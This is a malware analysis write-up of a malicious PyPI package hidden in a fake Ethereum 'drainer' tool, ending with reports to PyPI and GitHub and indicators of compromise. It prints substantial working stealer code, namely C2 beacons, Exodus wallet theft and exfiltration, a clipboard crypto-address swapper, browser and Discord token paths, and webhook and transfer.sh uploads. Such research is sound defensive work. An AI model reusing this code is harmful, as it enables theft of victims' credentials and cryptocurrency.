Unveiling the Hidden Threat: Dissecting a Malware on PyPI repository
In the vast realm of software development, the Python Package Index has long been a trusted repository for Python packages. However, even the most reliable platforms are not immune to the ever-evolving landscape of cyber threats. My recent investigation led me to stumble upon a malicious package lurking within PyPI, disguised as a seemingly “innocent ETH drainer” utility.
This article aims to shed light on this lurking danger, uncovering its inner workings and exposing the potential risks it poses. Those who seek to download malware with the intention to harm others deserve no rights indeed; however, it remains our duty to thwart the expansion of such destructive threats.
The Discovery
Uncovering a hidden menace often requires keen observation and a knack for identifying unusual patterns. However, this time was different. A few days ago, a user on a Discord channel posted, just before being banned, a link to an ETH drainer tool on GitHub. An ETH drainer is a malicious tool designed to drain Ethereum (ETH) cryptocurrency from unsuspecting victims’ wallets.
Its nefarious purpose is to siphon off funds without the owners’ knowledge or consent, potentially resulting in significant financial losses.
Of course if these tools are publicly accessible, they are undoubtedly malicious.
Sometimes they indeed work; however, they stealthily swap the destination ETH address with that of the creator of the ETH drainer.
In this case, the attacker opted for a heavy approach by inserting a full malware with numerous functionalities, some of which we will explore together: in fact our focus will be on understanding the techniques utilized by the attacker.
Leveraging PyPI as a repository for hosting malware has become an alarming trend in recent times. Malicious actors recognize the immense popularity of PyPI as the go-to source for Python packages and have seized this opportunity to propagate their malware. This abuse of trust poses a significant threat to developers, organizations and users who rely on PyPI for secure and reliable software components.
In this case, identifying the presence of a malicious script in the Github repository was not difficult; the attacker had uploaded a deceptive repository onto PyPI.
The “pip install” command is a widely used method for installing external libraries or dependencies into a Python environment. In this case, the pythoncryptolibraryV2 is a counterfeit repository that was intentionally designed to contain backdoors or other forms of malicious code, posing a significant threat to unsuspecting users.
Deconstructing the Malware
When examining the contents of the __init__.py file, in the first part of the code, we can see how threat actors install other third-party PyPI packages, like pyperclip or pypiwin32. It’s possible that the threat actors have uploaded and are requesting other malicious repositories.
We can observe the implementation of the Fernet algorithm, which is used for a minor level of obfuscation: this encrypted blob contains the real malware.
it is worth noting that the encryption key is hardcoded, allowing us to decrypt the encrypted blob with relative ease. Let’s create a small script to extract the contents in plain text:
from cryptography.fernet import Fernet
# Hardcoded key used by the attacker for encryption
key = b'Bmst0ZMQmMRr1OWjkdLqfOvfYJO6Kw88AWi5s7y1uUA='
# Encrypted data
encrypted_data = b'gAAAAABkX_broacC_VPUFEx9zYbp....SNIP'
# Create a Fernet object with the key and decrypt data
fernet = Fernet(key)
decrypted_data = fernet.decrypt(encrypted_data)
# Convert the decrypted bytes to a string
plaintext = decrypted_data.decode('utf-8')
with open("decrypted_blob.txt", 'w') as file:
file.write(plaintext)
And here we go, a piece of code of the malware:
We can now begin the process of gradually uncovering its true nature and malicious intent. This investigative procedure entails meticulous examination of the package’s behaviour, functions, and how it interacts with the host system.
The Malware’s Tactics
As the malicious package started to reveal its inner workings, it became evident that it employed a combination of many techniques to collect and grab sensitive info from victim machine, specially about Crypto wallets and other insidious activities. We will analyze just a few functions to give an idea.
subprocess.Popen(['cmd.exe','/c','start','/b','pip', 'install', 'requests', 'httpx'],creationflags=creationflags)
import requests
import os
import httpx
data = {
'embeds': [{
"title": "Someone Tried to download",
"description": "PC Username =" + os.getenv("COMPUTERNAME")
}]
}
httpx.post("https://bananasquad.ru/downloadhandler", json=data)
subprocess.Popen(['cmd.exe','/c','start','/b','pip', 'install', 'fernet', 'httpx', 'pyperclip', 'pyotp', 'winregistry', 'psutil', 'pycryptodome', 'PIL-tools', 'asyncio', 'threaded', 'requests', 'datetime', 'colorama', 'pillow', 'customtkinter', 'pyfiglet', 'tqdm', 'pypiwin32', 'pywin32', 'zipfile'],creationflags=creationflags)
This code tries to install certain Python packages and collects some computer information in a concealed manner: the gathered data is then sent to a specific website URL.
The code uses httpx.post
to send an HTTP POST request to the URL “https://bananasquad.ru/downloadhandler” with the JSON data as the payload. This is likely an attempt to send the system information to a remote server controlled by the attacker. A –someone tried to download– trigger style to advise threat actors that someone executed their malware.
Furthermore, the code attempts to install numerous Python packages, which could potentially grant the malware various capabilities to perform malicious actions, such as fernet, pyperclip, pyotp, winregistry, psutil, pycryptodome.
def inject():
procc = "exodus.exe"
local = os.getenv("localappdata")
roaming = os.getenv("APPDATA")
path = f"{local}/exodus"
if not os.path.exists(path): return
listOfFile = os.listdir(path)
apps = []
for file in listOfFile:
if "app-" in file:
apps += [file]
exodusPatchURL = "https://bananasquad.ru/app.asar"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
req = Request(exodusPatchURL, headers=headers)
response = urlopen(req)
hook = "https://discord.com/api/webhooks/827123456789012345/******"
folder2 = f"{roaming}/Exodus/exodus.wallet"
# zip folder2
file2 = f"{roaming}/Exodus/exoduswallet.zip"
with zipfile.ZipFile(file2, 'w', zipfile.ZIP_DEFLATED) as zip_file:
for root, dirs, files in os.walk(folder2):
for file in files:
file_path = os.path.join(root, file)
zip_file.write(file_path, os.path.relpath(file_path, folder2))
url2 = 'https://store1.gofile.io/uploadFile'
file3 = {'filesUploaded': open(file2, 'rb')}
response2 = requests.post(url2, files=file3)
exolink = response2.json()['data']['downloadPage']
khook = f'{hook.split("webhooks/")[1]}:{exolink}'
data = response.read()
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
for app in apps:
try:
fullpath = f"{path}/{app}/resources/app.asar"
licpath = f"{path}/{app}/LICENSE"
with open(fullpath, 'wb') as out_file1:
out_file1.write(data)
with open(licpath, 'w') as out_file2:
out_file2.write(khook)
except: pass
inject()
Here we a have a function targeting Exodus, a famous Web3 Crypto Wallet
- This code defines a specific process name, “exodus.exe”, which the malware intends to target for injection. This process is likely a part of the “Exodus” application.
- It retrieves the local and roaming application data directories on the victim’s computer. These directories store application-specific data.
- It creates a path by combining the local application data directory with the folder name “exodus”.
- If the path doesn’t exist (meaning the “exodus” folder is not present), the function stops further execution and returns.
- It retrieves a list of files in the “exodus” folder and identifies files with names containing “app-“. These files are likely related to different versions or instances of the “Exodus” application.
- Defines a specific C2 URL (“https://bananasquad.ru/app.asar“) and sets headers for a request to that URL. The purpose of this request is to obtain data from the attacker’s server.
- It sends a request to the specified URL and retrieves a response containing the data.
- Defines a webhook URL (“https://discord.com/api/webhooks/827123456789012345/getn1gga“) and specifies a folder path for a zip file. Discord webhooks are a low-effort way to post messages to channels in Discord. They do not require a bot user or authentication to use.
- Uploads the zip file to the specified URL using a POST request.
- It retrieves a download link for the uploaded file from the response received and combines it with a webhook URL as trigger.
- Reads the content of the earlier URL request’s response and saves it as “data”.
- It terminates the specified process (“exodus.exe”) using the “taskkill” command.
- Iterates through the identified apps and performs the following steps for each app:
- It writes the content of “data” (obtained from the URL response) into a file named “
app.asar
” within the app’s folder. - It writes the content of “
khook
” (a combination of the webhook URL and the download link) into a file named “LICENSE” within the app’s folder.
- It writes the content of “data” (obtained from the URL response) into a file named “
In summary, this code injects malicious code into specific files associated with targeted apps, such as “Exodus.exe” wallet and related files. It modifies these files with the downloaded content and a webhook link. The purpose of this malware seems to involve compromising the “Exodus” application and possibly exploiting it for malicious purposes.
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
temp = os.getenv("TEMP")
Passw = [];
# `
# "yourwebhookurl" = your discord webhook url
# "hide" = you want to hide grabber? ('yes' or 'no')
# "dbugkiller" = recommand to let this
# "blprggg" = don't touch at this
#
# `
__config__ = {
'yourwebhookurl': "https://bananasquad.ru/handler",
'hide': 'yes',
'ping': 'yes',
'pingtype': 'everyone',
'fake_error':'no',
'startup': 'yes',
'kill_discord_process': False,
'dbugkiller': False,
'addresse_crypto_replacer': 'yes',
'addresse_btc': 'bc1qlxay4saq3tjv79yqc6devlty6jfgjnalgmhu2a',
'addresse_eth': '0x69b2bBa5DC9D0f68Ce0AE98395F72CEfaD7E543a',
'addresse_xchain': 'none',
'addresse_pchain': 'none',
'addresse_cchain': 'none',
'addresse_monero': '46sbPVnovtHSLqhBz7HBp7Nk3JkE3NZqajK8AMXD4LngEkCQezyGMNyQrainPpj76FD7hXNTFiH5zYee1AMvTAec8Gc5Hpo',
'addresse_ada': 'addr1qygzxaunnw4qddxr4xe0phzg5mk6d73vrmgpgldx5h4en9ssydme8xa2q66v82dj7rwy3fhd5mazc8ksz376df0tnxtqhumzmz',
'addresse_dash': 'XeRy9cBSdCWSmSPaq7GYmgwV1X8e6gJJPE',
'blprggg':
[
"httpdebuggerui",
"wireshark",
"fiddler",
"regedit",
"cmd",
"taskmgr",
"vboxservice",
"df5serv",
"processhacker",
"vboxtray",
"vmtoolsd",
"vmwaretray",
"ida64",
"ollydbg",
"pestudio",
"vmwareuser",
"vgauthservice",
"vmacthlp",
"x96dbg",
"vmsrvc",
"x32dbg",
"vmusrvc",
"prl_cc",
"prl_tools",
"xenservice",
"qemu-ga",
"joeboxcontrol",
"ksdumperclient",
"ksdumper",
"joeboxserver"
]
}
infocom = os.getlogin()
vctm_pc = os.getenv("COMPUTERNAME")
r4m = str(psutil.virtual_memory()[0] / 1024 ** 3).split(".")[0]
d1sk = str(psutil.disk_usage('/')[0] / 1024 ** 3).split(".")[0]
BANANASQUAD_Regex = 'https://paste.bingner.com/paste/fhvyp/raw'
reg_req = requests.get(BANANASQUAD_Regex)
clear_reg = r"[\w-]{24}\." + reg_req.text
This code segment performs the following actions:
- It retrieves the paths of specific environment variables on the system:
LOCALAPPDATA
,APPDATA
, andTEMP
. These variables store directories related to local application data, roaming application data, and temporary files, respectively. - It initializes an empty list called
Passw
(passwords) for later use. - It defines a configuration dictionary (
__config__
) with various settings for the malware, including a Discord webhook URL, options to hide the grabber, send ping messages, simulate fake errors, run on system startup, kill Discord processes, and enable debugging features. - The dictionary also includes addresses for different cryptocurrencies and a list of blocked processes (e.g., Wireshark, Fiddler, Task Manager) under the
blprggg
key. - It retrieves the login username (
infocom
), computer name (vctm_pc
), total RAM size (r4m
), and disk usage (d1sk
) using relevant functions and environment variables. - It defines a regular expression pattern (
BANANASQUAD_Regex
) and makes a GET request to a specific URL to obtain a pattern for further use that we will see next.
In summary, this code segment retrieves important environment variable paths, defines configuration settings for the malware, gathers system information, and retrieves a regular expression pattern from a remote source. These actions are crucial for the malware to configure itself, collect data, and determine certain behaviors during its execution.
Moreover, it appears that the regular expression (clear_reg
) is likely used for a crypto pastejacker techniques to swap cryptocurrency addresses. Here’s a breakdown:
- The code retrieves a regular expression pattern from a remote source using a GET request to a specific URL (
BANANASQUAD_Regex
). - This pattern is stored in the variable
reg_req.text
, representing a sequence of characters that define a specific pattern. - The regular expression pattern obtained is combined with a fixed string (
r"[\w-]{24}\."
) to form the final regular expression (clear_reg
). - The final regular expression is used for pattern matching and manipulation.
The purpose of this regular expression is likely to identify and replace cryptocurrency addresses in text or data. The pattern [a-zA-Z0-9-]{24}\.
matches a sequence of alphanumeric characters (letters and numbers) and hyphens, with a length of 24 characters, possibly indicating the format of a cryptocurrency address.
By using this regular expression, the malware can search for and potentially modify cryptocurrency addresses found in various texts or data it interacts with. It could replace legitimate addresses with addresses controlled by the attacker, diverting funds meant for legitimate recipients to the attacker’s own wallets. This technique is often employed to conduct cryptocurrency-related scams or thefts by exploiting users’ interactions with crypto addresses.
class Functions(object):
...
@staticmethod
def net_1fo() -> list:
ip, city, country, region, org, loc, googlemap = "None", "None", "None", "None", "None", "None", "None"
req = httpx.get("https://ipinfo.io/json")
if req.status_code == 200:
data = req.json()
ip = data.get('ip')
city = data.get('city')
country = data.get('country')
region = data.get('region')
org = data.get('org')
loc = data.get('loc')
googlemap = "https://www.google.com/maps/search/google+map++" + loc
return [ip, city, country, region, org, loc, googlemap]
@staticmethod
def fetch_conf(e: str) -> str or bool | None:
return __config__.get(e)
The provided code consists of a collection of functions that serve multiple purposes, mainly related to gathering system and geo-network information about the victim.
class auto_copy_wallet(Functions):
def __init__(self):
self.address_st3aler = self.fetch_conf("addresse_crypto_replacer")
self.address_btc = self.fetch_conf("addresse_btc")
self.address_eth = self.fetch_conf("addresse_eth")
self.address_xchain = self.fetch_conf("addresse_xchain")
self.address_pchain = self.fetch_conf("addresse_pchain")
self.address_cchain = self.fetch_conf("addresse_cchain")
self.address_monero = self.fetch_conf("addresse_monero")
self.address_ada = self.fetch_conf("addresse_ada")
self.address_dash = self.fetch_conf("addresse_dash")
def address_swap(self):
try:
clipboard_data = pyperclip.paste()
if re.search('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$', clipboard_data):
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
if self.address_btc != "none":
pyperclip.copy(self.address_btc)
pyperclip.paste()
if re.search('^0x[a-fA-F0-9]{40}$', clipboard_data):
pyperclip.copy(self.address_eth)
pyperclip.paste()
if re.search('^([X]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$', clipboard_data):
if self.address_xchain != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_xchain)
pyperclip.paste()
if re.search('^([P]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$', clipboard_data):
if self.address_pchain != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_pchain)
pyperclip.paste()
if re.search('^([C]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$', clipboard_data):
if self.address_cchain != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_cchain)
pyperclip.paste()
if re.search('addr1[a-z0-9]+', clipboard_data):
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_ada)
pyperclip.paste()
if re.search('/X[1-9A-HJ-NP-Za-km-z]{33}$/g', clipboard_data):
if self.address_dash != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_dash)
pyperclip.paste()
if re.search('/4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$/g', clipboard_data):
if self.address_monero != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_monero)
pyperclip.paste()
Here we have a classic example of Pastejacking attack. The provided code defines a class named auto_copy_wallet
that inherits from the Functions
class. It initializes various attributes representing different cryptocurrency addresses, such as Bitcoin (address_btc
), Ethereum (address_eth
), Xchain (address_xchain
), Pchain (address_pchain
), Cchain (address_cchain
), Monero (address_monero
), Cardano (address_ada
), and Dash (address_dash
), by fetching their values from the configuration file using the fetch_conf
method.
The class also includes a method called address_swap
that performs the swapping of cryptocurrency addresses in the clipboard. It reads the data from the clipboard and then checks the data against regular expressions to identify specific patterns for different cryptocurrencies. If a match is found, it compares the clipboard data with the stored cryptocurrency addresses and performs the swapping operation if necessary.
For example, if the clipboard data matches the pattern for a Bitcoin address it replaces the clipboard data with the Bitcoin address. The same logic applies to other cryptocurrencies like Ethereum, Xchain, Pchain, Cchain, Monero, Cardano, and Dash.
The purpose of this code is to automatically replace copied cryptocurrency addresses with predetermined addresses, potentially used for wallet address hijacking or swapping.
def steal_token(self):
paths = {
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
'7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}
In this code we see how the attackers defines a method called steal_token
that includes a dictionary named paths
that associates various applications with their corresponding file paths for storing local storage data. These applications include Discord, Discord Canary, Lightcord, Discord PTB, Opera, Opera GX, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Vivaldi, Chrome SxS, Chrome, and several other profiles of Google Chrome, Epic Privacy Browser, Microsoft Edge, Uran, Yandex, Brave, and Iridium. The purpose of this code is extracting tokens and sensitive information stored within them.
def bc_uploadanonfiles(path):
try:
files = { "file": (path, open(path, mode='rb')) }
...
upload = requests.post("https://transfer.sh/", files=files)
url = upload.text
return url
except:
return False
Here we can see how the attackers leverage transfer.sh to exfiltrate sensitive data.
with open(_zipfile, 'rb') as f:
if self.regex_webhook_dsc in self.discord_webhook:
httpx.post(self.discord_webhook, json=embed)
httpx.post(self.discord_webhook, files={'upload_file': f})
os.remove(_zipfile)
The usage of Discord webhooks to exfiltrate sensitive data.
def steal_screen(self):
image = ImageGrab.grab(
bbox=None,
include_layered_windows=False,
all_screens=True,
xdisplay=None
)
image.save(self.dir + "\\Screenshot.png")
image.close()
This code is an attack method to take screenshots of the compromised system’s desktop in order to gather information about the user’s system. There is an old saying that goes “a picture is worth a thousand words” In many ways, this saying is true: you can learn a great deal about a person or situation if you have a picture that captures an accurate view of things.
Potential Consequences
The malware itself is not sophisticated. But indeed it can poses a significant threat:
one of the notable features of this malware is its implementation of regular expressions (regex), specifically tailored to target and extract credit card information from compromised systems. By employing complex pattern matching algorithms, the malware can efficiently identify and extract credit card details, enabling cybercriminals to engage in fraudulent activities or sell the obtained information on underground markets.
However, the primary focus and specialization of this malware lie in the realm of cryptocurrency wallets. The malware meticulously scans the infected system, seeking out any traces of crypto wallet addresses. Once detected, it cunningly employs regex techniques to replace these addresses with the attackers’ own wallet addresses, diverting incoming transactions and effectively hijacking the victims’ funds.
This malicious functionality makes it a formidable threat to the burgeoning field of cryptocurrencies, where the loss of even a single wallet address can result in significant financial repercussions for the unsuspecting victims.
While the capabilities discussed here merely scratch the surface of this malware’s extensive range of functionalities, it is crucial to acknowledge the severity of its impact on individuals and organizations.
The proliferation of this malware highlights the pressing need for robust cybersecurity measures and constant vigilance to safeguard personal and financial information.
Conclusion
Unveiling this malware within the PyPI repository emphasizes the crucial importance of maintaining constant vigilance and implementing robust security measures. Recognizing the potential risks it poses, I immediately took action by reporting the presence of the malicious package to the PyPI administrators. Swiftly responding to the situation, the PyPI team promptly removed the infected repository within an hour.
However, it is imperative for us to recognize that PyPI is not the only platform susceptible to such threats. Acknowledging the broader landscape of software repositories, I also reported the corresponding GitHub repository that has been successfully taken down.
These incidents serve as a stark reminder that no repository is immune to the risks of malware infiltration.
Indicators of Compromise (IoC)
At this time the C2 domain is still active and reachable.
C2 domains extracted from the analyzed PyPI packages:
bananasquad.ru
python-release.com
__
58db5b119417542eeff6510efa75e26f6640c03eb65bce58e415357ba1ac0a37
pythoncryptolibraryV2-1.1.0.tar.gz